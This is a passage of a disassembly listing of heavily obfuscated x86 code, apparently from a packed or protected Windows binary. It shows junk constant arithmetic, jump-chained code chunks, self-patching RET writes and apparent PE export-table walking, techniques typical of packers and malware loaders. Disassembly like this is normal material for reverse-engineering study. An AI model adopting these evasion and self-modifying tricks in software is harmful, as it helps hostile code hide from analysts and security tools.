; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_446990:				; CODE XREF: kgbikm34:00445ACCj
		jmp	loc_44983F
; ---------------------------------------------------------------------------

loc_446995:				; CODE XREF: kgbikm34:0044B022j
		jz	loc_44DED7
		add	edx, ebp
		jmp	loc_4476F3
; ---------------------------------------------------------------------------

loc_4469A2:				; CODE XREF: kgbikm34:0043E970j
		jb	loc_43FCD3
		mov	eax, [esp]
		push	edx
		push	eax
		push	0D8B689E4h
		pop	eax
		and	eax, 0B6FD7FC8h
		jmp	loc_43C8D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6F1

loc_4469BE:				; CODE XREF: sub_44B6F1:loc_43E241j
		jz	loc_43F862

loc_4469C4:				; CODE XREF: kgbikm34:004447A0j
		jmp	loc_437110
; END OF FUNCTION CHUNK	FOR sub_44B6F1
; ---------------------------------------------------------------------------
		xor	esi, 734AF98Dh
		jg	loc_446312
		mov	edx, [eax]
		jmp	loc_43F862
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4469DD:				; CODE XREF: kgbikm34:0044DF32j
		jmp	loc_447909
; ---------------------------------------------------------------------------

loc_4469E2:				; CODE XREF: kgbikm34:004495E6j
		jmp	loc_44CB2C
; ---------------------------------------------------------------------------

loc_4469E7:				; CODE XREF: kgbikm34:0044D41Aj
		mov	ds:dword_41E0E0, eax
		call	sub_4384AF
; START	OF FUNCTION CHUNK FOR sub_44DD92

loc_4469F2:				; CODE XREF: sub_44DD92+9j
		jmp	loc_43B5AD
; END OF FUNCTION CHUNK	FOR sub_44DD92
; ---------------------------------------------------------------------------

loc_4469F7:				; CODE XREF: kgbikm34:00439EBBj
		jmp	loc_44A73C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF3C

loc_4469FC:				; CODE XREF: sub_43EF3C-5369j
		jmp	loc_43E1A4
; END OF FUNCTION CHUNK	FOR sub_43EF3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_446A01:				; CODE XREF: sub_43EAEE:loc_44A68Aj
					; kgbikm34:0044A69Cj
		rol	ecx, 0Dh
		test	ecx, 80000000h
		jmp	loc_43E199
; END OF FUNCTION CHUNK	FOR sub_43EAEE

; =============== S U B	R O U T	I N E =======================================



sub_446A0F	proc near		; CODE XREF: sub_440F99-69BDp
					; kgbikm34:0043B740j

; FUNCTION CHUNK AT 0043D171 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		push	40BFB17Ah
		pop	ebx
		sub	ebx, 59294FE3h
		rol	ebx, 15h
		jmp	loc_43D171
sub_446A0F	endp

; ---------------------------------------------------------------------------

loc_446A28:				; CODE XREF: kgbikm34:loc_4425F9j
		mov	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-125h]
		mov	[ebp-20h], eax
; START	OF FUNCTION CHUNK FOR sub_448291

loc_446A37:				; CODE XREF: sub_448291:loc_43E812j
		mov	eax, [ebp-1Ch]
		call	sub_448291
; END OF FUNCTION CHUNK	FOR sub_448291
; START	OF FUNCTION CHUNK FOR sub_43A22B

loc_446A3F:				; CODE XREF: sub_43A22B+10302j
		jmp	loc_44BC9C
; END OF FUNCTION CHUNK	FOR sub_43A22B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_446A44:				; CODE XREF: sub_447B31-1828j
		jmp	loc_43D2EB
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_446A49:				; CODE XREF: sub_43D576+Bj
		jmp	nullsub_113
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D4E9

loc_446A4E:				; CODE XREF: sub_43D4E9:loc_4414F3j
		xor	eax, 270BBFBCh
		call	sub_43BF6F

loc_446A59:				; CODE XREF: kgbikm34:0043AACEj
		mov	ds:off_41E09C, eax
		lea	eax, sub_43D4E9
		mov	byte ptr [eax],	0C3h
		jmp	sub_43D4E9
; END OF FUNCTION CHUNK	FOR sub_43D4E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446D82

loc_446A6D:				; CODE XREF: sub_446D82-C881j
					; sub_43C638:loc_4465EBj
		mov	eax, [ebp-10h]
; END OF FUNCTION CHUNK	FOR sub_446D82
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_446A70:				; CODE XREF: sub_43BCAD+CE9Cj
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		jmp	loc_43DF17
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_446A84:				; CODE XREF: sub_43DC42+1778j
		jb	loc_440A86
		add	edx, 8F45D350h
		jmp	loc_4485DE
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------

loc_446A95:				; CODE XREF: kgbikm34:loc_43A196j
					; kgbikm34:00449E2Fj
		add	ebx, 80587E1Ah
		xchg	ebx, [esp]
		jmp	sub_4400C7
; ---------------------------------------------------------------------------

loc_446AA3:				; CODE XREF: kgbikm34:0044BF98j
		jns	loc_43D896
		mov	edi, 0C64BF387h
		jmp	sub_43DF66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A987

loc_446AB3:				; CODE XREF: sub_44A987:loc_447C3Bj
		add	edx, 6C4177B4h
		mov	[edx], eax
		pop	edx
		lea	eax, loc_444903
		mov	byte ptr [eax],	0C3h
		jmp	loc_445ED7
; END OF FUNCTION CHUNK	FOR sub_44A987
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_446ACA:				; CODE XREF: sub_43F524:loc_444903j
		xchg	edi, [esp-4+arg_0]

loc_446ACD:				; CODE XREF: sub_449F77:loc_43D458j
		mov	edx, edi
		jmp	loc_43A5B7
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_446AD4:				; CODE XREF: sub_441D2F-A6E7j
		pop	eax
		rol	edi, 12h
		cmp	edi, 0B82A6029h
		jmp	loc_442475
; END OF FUNCTION CHUNK	FOR sub_441D2F

; =============== S U B	R O U T	I N E =======================================



sub_446AE3	proc near		; DATA XREF: sub_4471CCo

; FUNCTION CHUNK AT 0044DF5B SIZE 0000000A BYTES

		jb	loc_44DF5B
		push	ebp
		mov	ebp, esp
		call	sub_442A46

loc_446AF1:				; CODE XREF: kgbikm34:00448372j
		jmp	sub_43BF6F
sub_446AE3	endp

; ---------------------------------------------------------------------------
		jmp	locret_43B010
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FF0B018Ah, 0E9298BFFh, 0FFFFF294h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA4F

loc_446B08:				; CODE XREF: sub_44CA4F+Dj
		xor	ebx, 7C510F75h
		add	ebx, 0FD11FBC6h
		call	sub_43B3B2
; END OF FUNCTION CHUNK	FOR sub_44CA4F
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_446B19:				; CODE XREF: sub_442A46+101Bj
		jmp	loc_43E65E
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391E0

loc_446B1E:				; CODE XREF: sub_4391E0+3D91j
		jmp	loc_44A0EE
; END OF FUNCTION CHUNK	FOR sub_4391E0

; =============== S U B	R O U T	I N E =======================================



sub_446B23	proc near		; CODE XREF: sub_43BCC7p
					; sub_44D9CE:loc_44A7F5j
		xchg	eax, [esp+0]
		pop	eax
		call	sub_446B3C
		jmp	ds:off_41E1FC
sub_446B23	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_446B32:				; CODE XREF: sub_4471D6+12j
		jmp	loc_4377C2
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_446B37:				; CODE XREF: sub_442F09-8043j
		jmp	loc_43F1A2
; END OF FUNCTION CHUNK	FOR sub_442F09

; =============== S U B	R O U T	I N E =======================================



sub_446B3C	proc near		; CODE XREF: sub_4429D6:loc_43B9F7j
					; sub_44B714:loc_43E313j ...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043A43D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043BD94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441B7F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00442186 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00445F94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B835 SIZE 00000011 BYTES

		pop	edx
		jmp	loc_445F94
sub_446B3C	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_446B43:				; CODE XREF: sub_4429A6-6979j
		jmp	loc_448AB3
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_446B48:				; CODE XREF: sub_43ACD5:loc_43CE10j
		pop	edx
		add	edx, 3E7258CDh
		and	edx, 5C27953Bh
		xor	edx, 0C9D21AD1h
		and	edx, 24106ADBh
		jmp	loc_43B3BD
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_446B66:				; CODE XREF: sub_441086:loc_440FE0j
					; sub_43D494:loc_44393Bj
		pop	ecx
		jmp	loc_43DA60
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441086

loc_446B6C:				; CODE XREF: sub_441086:loc_447175j
		test	byte ptr [ebp-8], 40h
		jz	loc_44A6B8
		push	ebp
		mov	eax, [ebp-20h]
		push	offset loc_43A08D
		jmp	nullsub_268
; END OF FUNCTION CHUNK	FOR sub_441086
; ---------------------------------------------------------------------------
		push	edx
		push	0B50DCBA7h
		pop	edx
		add	edx, 5FA4D1FAh
		jmp	loc_43EC52
; ---------------------------------------------------------------------------
		shl	edi, 1Dh
		jmp	sub_44DC12
; ---------------------------------------------------------------------------
		rol	ebx, 14h
		jmp	sub_437429
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_446BA6:				; CODE XREF: sub_439BDE:loc_443A03j
		mov	edx, ebx
		pop	ebx
		rol	edx, 1Eh
		add	edx, 0DE1C79B5h
		jmp	loc_44196A
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_446BB7:				; CODE XREF: sub_442F09+A847j
		pop	edx
		add	edx, ds:4000FAh

loc_446BBE:				; CODE XREF: kgbikm34:0044D2A2j
		rol	edx, 18h
		or	edx, 75677708h
		jmp	loc_445D50
; END OF FUNCTION CHUNK	FOR sub_442F09
; ---------------------------------------------------------------------------
		not	edx
		jmp	sub_448D30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_446BD3:				; CODE XREF: sub_43B1D6+Bj
		mov	edi, eax
		xchg	edi, [esp+0]
		call	sub_44B64C
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_4437DF
		jmp	loc_43CBB4
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_446BEF:				; CODE XREF: sub_43E4C0:loc_447A49j
		push	8EB2AB8h
		pop	eax
		sub	eax, 117BDFC0h
		or	eax, 543EAF11h
		add	eax, 8C4B3F1h
		push	offset loc_437703
		jmp	loc_43FE18
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440488

loc_446C11:				; CODE XREF: sub_440488-631Cj
		pop	esi
		or	esi, 377D137h
		add	esi, 84CCF128h
		popf
		xchg	esi, [esp+0]
		jmp	loc_449741
; END OF FUNCTION CHUNK	FOR sub_440488

; =============== S U B	R O U T	I N E =======================================



sub_446C27	proc near		; CODE XREF: kgbikm34:0044066Ap
					; kgbikm34:0044878Bj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044DBD2 SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0D717515Fh
		pop	ecx

loc_446C31:				; CODE XREF: kgbikm34:0044A180j
		jmp	loc_44DBD2
sub_446C27	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0D32Eh
dword_446C38	dd 0			; DATA XREF: sub_44B495-AB3Fr
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440FF4

loc_446C3C:				; CODE XREF: sub_440FF4-317Aj
		jmp	nullsub_277
; END OF FUNCTION CHUNK	FOR sub_440FF4
; ---------------------------------------------------------------------------

loc_446C41:				; CODE XREF: kgbikm34:004398DBj
		jmp	sub_44BB9F
; ---------------------------------------------------------------------------
		dw 8B57h
dword_446C48	dd 0			; DATA XREF: kgbikm34:00447CA3w
		db    0
		db    0
		db    0
		db    0
dword_446C50	dd 0			; DATA XREF: sub_4474D5-880Er
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B5FD

loc_446C54:				; CODE XREF: sub_44B5FD+15j
		jmp	loc_43F926
; END OF FUNCTION CHUNK	FOR sub_44B5FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A89F

loc_446C59:				; CODE XREF: sub_44A89F+8j
		jmp	loc_441BCA
; END OF FUNCTION CHUNK	FOR sub_44A89F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B292

loc_446C5F:				; CODE XREF: sub_44B292-4B6Ej
		jmp	loc_4428F9
; END OF FUNCTION CHUNK	FOR sub_44B292
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44903A

loc_446C64:				; CODE XREF: sub_44903A+15j
		call	sub_44B1E8

loc_446C69:				; CODE XREF: sub_4454E8+Cj
		jmp	loc_4474FB
; END OF FUNCTION CHUNK	FOR sub_44903A
; ---------------------------------------------------------------------------

loc_446C6E:				; CODE XREF: kgbikm34:00441E17j
		jmp	loc_447946
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D21A

loc_446C74:				; CODE XREF: sub_43D21A+9j
		jmp	loc_438DB5
; END OF FUNCTION CHUNK	FOR sub_43D21A
; ---------------------------------------------------------------------------

loc_446C79:				; CODE XREF: kgbikm34:00437880j
		jmp	loc_444E86
; ---------------------------------------------------------------------------

loc_446C7E:				; CODE XREF: kgbikm34:loc_44BA2Aj
		xchg	ebx, esi
		jmp	loc_439A42
; ---------------------------------------------------------------------------

loc_446C85:				; CODE XREF: kgbikm34:0043FBEEj
		add	edi, 2F96A319h

; =============== S U B	R O U T	I N E =======================================



sub_446C8B	proc near		; CODE XREF: kgbikm34:loc_4391EFp

; FUNCTION CHUNK AT 00440FD5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004417E6 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	edx, 0A22F8A70h
		call	sub_440FF4
		mov	ds:dword_438364, eax
		call	sub_44A9D8
		mov	edx, 0A2CD59D9h
		jmp	loc_4417E6
sub_446C8B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_446CAD:				; CODE XREF: sub_439A2E:loc_4472F6j
		ja	loc_443350
		jmp	loc_43925B
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------

loc_446CB8:				; CODE XREF: kgbikm34:loc_44803Cj
		cdq
		xchg	edx, [edi]
		jmp	loc_43B71D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EA97

loc_446CC0:				; CODE XREF: sub_43EA97+719Bj
					; sub_43EA97:loc_44D3B3j
		call	sub_43C9D6
; END OF FUNCTION CHUNK	FOR sub_43EA97
; START	OF FUNCTION CHUNK FOR sub_442B5D

loc_446CC5:				; CODE XREF: sub_442B5D-6A4Fj
		shl	eax, 1

loc_446CC7:				; CODE XREF: sub_442B5D:loc_43C106j
		add	edi, 9D75B397h
		xchg	edi, [esp+0]
		jmp	loc_444B91
; END OF FUNCTION CHUNK	FOR sub_442B5D
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_44935C
; ---------------------------------------------------------------------------
		adc	edx, 0CBD7E2Eh
		jmp	sub_4446A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_446CE8:				; CODE XREF: sub_439587:loc_43D784j
		jnb	loc_44058B
		mov	[ecx], eax
		jmp	loc_4444EE
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_446CF5:				; CODE XREF: kgbikm34:00445902j
		jno	loc_443633

; =============== S U B	R O U T	I N E =======================================



sub_446CFB	proc near		; CODE XREF: sub_439705+660Bp

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_43B0F0
sub_446CFB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F65B

loc_446D07:				; CODE XREF: sub_43F65B-7F6Ej
		add	ebp, 0B7E6B54Eh
; END OF FUNCTION CHUNK	FOR sub_43F65B
; START	OF FUNCTION CHUNK FOR sub_440443

loc_446D0D:				; CODE XREF: sub_440443-1A6Ej
		call	sub_43E82A

loc_446D12:				; CODE XREF: kgbikm34:00441D11j
		jmp	loc_440A14
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442401

loc_446D17:				; CODE XREF: sub_442401-3073j
		jmp	loc_4453A0
; END OF FUNCTION CHUNK	FOR sub_442401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_446D1C:				; CODE XREF: sub_440834-5BCCj
		test	edi, ecx
		jmp	loc_441C54
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D345

loc_446D23:				; CODE XREF: sub_43D345:loc_445F6Cj
		add	edi, 0F2FCC8A3h
		push	offset loc_440158
		jmp	nullsub_364
; END OF FUNCTION CHUNK	FOR sub_43D345
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_446D33:				; CODE XREF: sub_4494B1:loc_43B8CCj
					; kgbikm34:0043B8EAj
		xor	eax, 80A9F3B4h
		call	sub_43BF6F
		push	edi
		push	0CD4C7926h
		jmp	loc_439B07
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------

loc_446D49:				; CODE XREF: kgbikm34:00439CDCj
		retn
; ---------------------------------------------------------------------------
		test	ecx, 0E9545A7Eh
		jmp	loc_440FFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_446D55:				; CODE XREF: sub_444002+33CEj
		jz	loc_43C941
		jmp	loc_43E221
; END OF FUNCTION CHUNK	FOR sub_444002

; =============== S U B	R O U T	I N E =======================================



sub_446D60	proc near		; CODE XREF: kgbikm34:0043FA6Aj
					; kgbikm34:0044B403p

; FUNCTION CHUNK AT 0044A8AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B531 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edi
		push	5C92028Bh
		pop	edi
		xor	edi, 4651742Bh
		or	edi, 0C2A9680h
		add	edi, 0E155EAA4h
		jmp	loc_44A8AC
sub_446D60	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_446D82	proc near		; CODE XREF: kgbikm34:0043C723j
					; sub_44A54C+9p

; FUNCTION CHUNK AT 0043A4FB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446A6D SIZE 00000003 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_43A4FB
sub_446D82	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_446D93:				; CODE XREF: kgbikm34:00444383j
		push	offset loc_43ADC1
		jmp	loc_4419AA
; ---------------------------------------------------------------------------
		jmp	ds:off_41E144
; ---------------------------------------------------------------------------

loc_446DA3:				; CODE XREF: kgbikm34:00449AF1j
		jmp	loc_445E84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_446DA8:				; CODE XREF: sub_43D114:loc_437924j
					; sub_446D60:loc_44B531j ...
		pop	edx
		jb	loc_4406AE
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, edx
		xchg	esi, [esp+0]
		jmp	loc_43946E
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------
		sbb	ecx, edx
		jmp	sub_441B24
; ---------------------------------------------------------------------------
		call	sub_44A6A7
; START	OF FUNCTION CHUNK FOR sub_441819

loc_446DC9:				; CODE XREF: sub_441819+358Bj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A59

loc_446DCE:				; CODE XREF: sub_437A59:loc_4497D0j
		mov	eax, [esp+0]
		push	edx
		push	edi
		push	33A29C7Fh
		jmp	loc_4457CC
; END OF FUNCTION CHUNK	FOR sub_437A59
; ---------------------------------------------------------------------------

loc_446DDD:				; CODE XREF: kgbikm34:00439097j
		jns	loc_439AD2
		jmp	loc_43BA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A5E

loc_446DE8:				; CODE XREF: sub_445A5E:loc_44A3B8j
		push	offset sub_44BBA8
		jmp	nullsub_139
; END OF FUNCTION CHUNK	FOR sub_445A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_446DF2:				; CODE XREF: sub_4441EB-6D5Ej
		and	eax, 4BDE230Ch
		sub	eax, 0A0D7C257h
		add	eax, 955984FBh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_44057D
		jmp	loc_441DF6
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------

loc_446E13:				; CODE XREF: kgbikm34:0043C4FCj
		xchg	edx, [esi]
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_446E15:				; CODE XREF: sub_4429A6:loc_43C4EBj
		xor	ecx, 0DC569FA3h
		add	eax, ecx
		xchg	edx, [esp+0]
		mov	ecx, edx
		pop	edx
		push	offset loc_43FC6D
		jmp	nullsub_182
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4403D5

loc_446E2D:				; CODE XREF: sub_4403D5:loc_4403E2j
		jz	loc_44872E
		jmp	loc_44BBBB
; END OF FUNCTION CHUNK	FOR sub_4403D5

; =============== S U B	R O U T	I N E =======================================



sub_446E38	proc near		; CODE XREF: kgbikm34:004386B7j
					; sub_4418C2:loc_439B55p

; FUNCTION CHUNK AT 0044245B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C260 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044CDFD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044DF99 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	ecx, 0FC2C2BFCh
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		jmp	loc_44245B
sub_446E38	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	ebp, 0C75E9684h
		jmp	loc_439A21
; ---------------------------------------------------------------------------

loc_446E57:				; CODE XREF: kgbikm34:0044197Ej
		or	ebp, ebx
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_446E59:				; CODE XREF: sub_439BDE+7D8Fj
					; kgbikm34:00441A32j
		and	edx, 0A71C8E98h
		add	edx, 0FA30A59Bh
		xchg	edx, [esp+0]
		jmp	sub_4400C7
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
		mov	ebp, [ebx]
		jmp	sub_443949
; ---------------------------------------------------------------------------

loc_446E74:				; CODE XREF: kgbikm34:loc_445428j
		rol	edi, 10h
		sub	edi, 0B7A28CD6h
		or	edi, 0B104E45Fh
		jnz	loc_43B3A4
; START	OF FUNCTION CHUNK FOR sub_439609

loc_446E89:				; CODE XREF: sub_439609:loc_44567Fj
		popf
		jnb	loc_438438
		ror	ebx, 7
		jns	loc_44843F
		jmp	loc_447E31
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_446E9E:				; CODE XREF: sub_441D2F:loc_437632j
		push	edx
		push	0B1F900E1h
		pop	edx
		and	edx, 4652DB5Bh
		add	edx, 50233031h
		xor	eax, edx
		jmp	loc_447040
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	eax
		push	0B2E6A415h
		pop	eax
		or	eax, 14426103h
		add	eax, 495D1108h
		jmp	loc_43EFB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_446ED3:				; CODE XREF: sub_43BCAD:loc_440FADj
		xor	ecx, 0EDC08BDh
		sub	ecx, 0E4F249Dh
		add	ecx, 63E967BDh
		mov	[ecx], eax
		jmp	loc_4419A5
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
		xor	edx, 46154461h
		jmp	sub_43E83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C093

loc_446EF7:				; CODE XREF: sub_44C093:loc_443DA6j
		jz	loc_443AEA
		jo	loc_44A9F6

loc_446F03:				; CODE XREF: kgbikm34:0044A15Fj
		jmp	loc_443AE0
; END OF FUNCTION CHUNK	FOR sub_44C093
; ---------------------------------------------------------------------------

loc_446F08:				; CODE XREF: kgbikm34:loc_43A3FFj
		and	ecx, 82F8230Eh
		sub	ecx, 0C67EC740h
		add	ecx, 570EBF2h
		or	ecx, 0A5E61DEDh
		xor	ecx, 0FC7E8B84h
		add	ecx, ebp
		add	ecx, 0E67F2959h
		mov	[ecx], eax
		jmp	loc_44AA8B
; ---------------------------------------------------------------------------

loc_446F35:				; DATA XREF: sub_43AF38o
		call	sub_446F45
		jmp	ds:off_41E1BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C9C

loc_446F40:				; CODE XREF: sub_438C9C+D1E3j
		jmp	loc_449A5B
; END OF FUNCTION CHUNK	FOR sub_438C9C

; =============== S U B	R O U T	I N E =======================================



sub_446F45	proc near		; CODE XREF: sub_44E20A-10C4Bj
					; kgbikm34:loc_446F35p	...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043794F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004389BF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00438CC6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043D5C4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044064A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044355E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449AB9 SIZE 00000011 BYTES

		jb	loc_43D5C4
		xchg	eax, [esp+0]
		mov	edx, eax
		jmp	loc_44355E
sub_446F45	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_446F55:				; CODE XREF: kgbikm34:004404F1j
		cdq
		xchg	esi, ebp
		jmp	loc_4474AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444600

loc_446F5D:				; CODE XREF: sub_444600-CE10j
		mov	eax, [esp-4+arg_0]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+0]
		nop
		call	sub_43C74C
; END OF FUNCTION CHUNK	FOR sub_444600
; START	OF FUNCTION CHUNK FOR sub_4385AD

loc_446F6C:				; CODE XREF: sub_4385AD+ABDBj
		jmp	loc_437941
; END OF FUNCTION CHUNK	FOR sub_4385AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B24

loc_446F71:				; CODE XREF: sub_441B24+27A4j
		rol	esi, 1Fh
		jmp	loc_44948C
; END OF FUNCTION CHUNK	FOR sub_441B24

; =============== S U B	R O U T	I N E =======================================



sub_446F79	proc near		; CODE XREF: sub_43CB87+9C22p
					; kgbikm34:0044E24Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00437725 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437F4C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439E14 SIZE 0000000F BYTES
